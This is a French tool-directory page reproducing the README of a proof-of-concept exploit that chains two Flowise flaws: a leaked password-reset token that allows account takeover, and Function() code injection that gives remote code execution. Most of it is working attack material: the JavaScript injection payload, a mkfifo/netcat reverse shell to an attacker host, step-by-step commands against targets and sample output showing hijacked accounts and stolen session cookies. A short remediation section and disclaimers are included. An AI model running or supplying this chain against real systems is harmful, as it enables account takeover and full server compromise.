Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-58434-AND-59528-POC — PoC combiné pour CVE-2025-28434 et CVE-2025-59528 | Kitploit
Outils/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC combiné pour CVE-2025-28434 et CVE-2025-59528

Voir le dépôt
19il y a 4 moisPas encore vérifié

PoC double CVE Flowise — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.


Table des matières

  • Aperçu
  • Détails des vulnérabilités
    • CVE-2025-58434 — Prise de contrôle de compte
    • CVE-2025-59528 — Exécution de code à distance
  • Chaîne d'attaque complète
  • Versions concernées
  • Structure du dépôt
  • Prérequis
  • Installation
  • Utilisation
    • Comportement par défaut
    • Écran d'aide
    • Mode chaîne
    • Module — ATO
    • Module — Connexion
    • Module — RCE
  • Référence des options
  • Reverse Shell vs commande personnalisée
  • Exemple de sortie
  • Remédiation
  • Chronologie de divulgation
  • Références
  • Avertissement

Aperçu

Ce dépôt combine deux vulnérabilités critiques de Flowise dans un outil PoC modulaire unique.

Les deux vulnérabilités s'enchaînent naturellement : CVE-2025-58434 permet une prise de contrôle de compte sans authentification, ce qui satisfait l'exigence d'authentification de CVE-2025-59528 — permettant une RCE sans authentification en une seule exécution automatisée.


Détails des vulnérabilités

CVE-2025-58434 — Prise de contrôle de compte

Cause racine : Le point de terminaison forgot-password renvoie le jeton de réinitialisation de mot de passe (tempToken) directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail.

Étapes de l'attaque :

  1. POST /api/v1/account/forgot-password avec n'importe quel e-mail enregistré
  2. Lire tempToken dans la réponse JSON — aucun accès à l'e-mail nécessaire
  3. POST /api/v1/account/reset-password avec le jeton divulgué → définir un nouveau mot de passe
  4. Se connecter en tant que victime

Réponse divulguée (tronquée) :

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Exécution de code à distance

Cause racine : Le nœud CustomMCP transmet mcpServerConfig fourni par l'utilisateur directement au constructeur Function() de JavaScript sans aucune désinfection. Comme Flowise s'exécute dans Node.js, le code injecté a un accès complet à child_process, fs et à tous les modules intégrés de Node.js.

Chemin de code vulnérable :

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unsanitized user input

En-têtes requis :

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Charge utile d'injection par défaut (reverse shell) :

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Remarque : Les charges utiles reverse shell utilisent cp.exec() (asynchrone / fire-and-forget) afin que la requête HTTP revienne immédiatement et que l'outil n'expire pas. Les commandes normales utilisent cp.execSync() et renvoient la sortie directement.


Chaîne d'attaque complète

root@kitploit:~
Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Versions concernées

ComposantStatut
Flowise Cloud (cloud.flowiseai.com)Affecté par CVE-2025-58434
Flowise auto-hébergé (toutes les versions antérieures au correctif)Affecté par les deux CVE

Consultez les avis de sécurité officiels de Flowise pour connaître les numéros de version corrigés.


Structure du dépôt

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

Prérequis

  • Python 3.7+
  • Bibliothèque requests

Installation

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Utilisation

Comportement par défaut

Aucune option de mode n'est requise. Si vous exécutez le script sans --chain ni --module, il se lance automatiquement en mode chaîne complète. La charge utile RCE par défaut est un reverse shell — fournissez simplement --lhost et --lport.

root@kitploit:~
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Démarrez votre listener avant d'exécuter :

root@kitploit:~
nc -lvnp 4444

Écran d'aide

root@kitploit:~
python3 flowise_poc.py -h

Mode chaîne

Exécute les quatre étapes de bout en bout : fuite du jeton → réinitialisation du mot de passe → connexion → RCE.

root@kitploit:~
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Module — ATO

Récupère le tempToken et réinitialise le mot de passe du compte. S'arrête avant la connexion/RCE.

root@kitploit:~
# Default new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Custom new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Print raw JSON response
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

Module — Connexion

Authentifiez-vous et extrayez les trois cookies de session pour une utilisation manuelle.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON output for scripting
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

Module — RCE

Exécution sur le serveur. Le module se connecte automatiquement si --token n'est pas fourni.

root@kitploit:~
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Custom command — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Manual token — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# All three cookies manually
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Référence des options

Mode (tous facultatifs — défaut : --chain)

OptionDescription
--chainChaîne complète : ATO → Connexion → RCE
--module atoPrise de contrôle de compte uniquement

Cible

OptionCourtDescriptionRequis
--url-uURL de base de l'instance Flowise

Options ATO

OptionCourtDescriptionDéfaut
--new-password-pMot de passe défini sur le compte victime après l'ATOFlowise@Pwn3d2025!

Options d'authentification

Options RCE

Divers

OptionCourtDescriptionDéfaut

Reverse Shell vs commande personnalisée

Le script choisit automatiquement le mode d'exécution approprié :

L'exécution asynchrone signifie que la requête HTTP se termine instantanément — aucune erreur de délai d'expiration sur les charges utiles reverse shell.


Exemple de sortie

root@kitploit:~
  [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    LEAKED ACCOUNT DATA
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token disclosed without authentication!

  [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Password reset SUCCESSFUL (tempToken cleared)
  [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] Logging in to extract session cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    EXTRACTED SESSION COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE RESULT
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Reverse shell payload fired!
  [!] Waiting for connection on 10.10.16.35:4444 ...
  [!] Make sure your listener is running: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CHAIN COMPLETE

Remédiation

Pour CVE-2025-58434

  • Ne jamais renvoyer de jetons dans les réponses API. Envoyer le tempToken uniquement via l'e-mail enregistré.
  • Renvoyer un message de succès générique que l'e-mail existe ou non (empêche l'énumération).
  • Rendre les jetons à usage unique, à courte durée de vie (≤15 min) et liés au contexte de la requête.
  • Limiter le débit du point de terminaison forgot-password.

Pour CVE-2025-59528

  • Ne jamais passer d'entrée utilisateur à Function(), eval() ou vm.runInThisContext().
  • Analyser mcpServerConfig uniquement comme données (par ex., JSON.parse()) — ne jamais l'exécuter.
  • Si une évaluation dynamique est requise, utiliser un sandbox isolé avec un contexte restreint.
  • Appliquer une validation stricte des entrées et une liste blanche des clés de configuration autorisées.

Généralités

  • Corriger les déploiements cloud et auto-hébergés.
  • Activer la journalisation et les alertes sur les points de terminaison de réinitialisation de mot de passe et de node-load-method.
  • Envisager la MFA pour tous les comptes administrateur.

Chronologie de divulgation

DateÉvénement
2025-08-19CVE-2025-58434 découverte et signalée
TBDCVE-2025-59528 découverte et signalée
TBD

Références

  • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
  • Flowise GitHub
  • CWE-640 : Mécanisme de récupération de mot de passe faible
  • CWE-94 : Contrôle inadéquat de la génération de code

Avertissement

Pour uniquement des fins éducatives et des tests d'intrusion autorisés.
Consultez DISCLAIMER.md pour l'avis juridique complet.

Télécharger l’outil
CVE-2025-58434CVE-2025-59528
TypePrise de contrôle de compteExécution de code à distance
Authentification requiseAucuneOui (n'importe quel compte valide)
CVSS9.8 CritiqueCritique
ConcernéCloud + auto-hébergéAuto-hébergé
--module loginConnexion et extraction des cookies uniquement
--module rceRCE uniquement
Toujours
--email-eE-mail cible / de connexionToujours
OptionCourtDescription
--login-password-PMot de passe pour le module de connexion / connexion automatique RCE
--token—Fournir manuellement le cookie token (ignore la connexion)
--refresh-token—Fournir manuellement le cookie refreshToken
--connect-sid—Fournir manuellement le cookie connect.sid
OptionCourtDescriptionDéfaut
--lhost—IP de l'attaquant pour le reverse shell—
--lport—Port de l'attaquant pour le reverse shell—
--command-cCommande OS personnalisée (remplace le reverse shell)id si pas de lhost/lport
--timeout-tDélai d'expiration HTTP (secondes)15
--json-output-jAfficher les réponses JSON brutesfalse
ScénarioCharge utile utiliséeComportement HTTP
--lhost + --lport (sans -c)one-liner mkfifo netcatcp.exec() — asynchrone, retour immédiat
-c "..." contenant nc/mkfifo/bash -idétecté comme reverse shellcp.exec() — asynchrone, retour immédiat
-c "id" ou toute autre commande normalecommande utilisateurcp.execSync() — bloquant, renvoie la sortie
ni -c, ni --lhostidcp.execSync() — bloquant, renvoie la sortie
Accusé de réception du fournisseur
TBDCorrectif publié
TBDDivulgation publique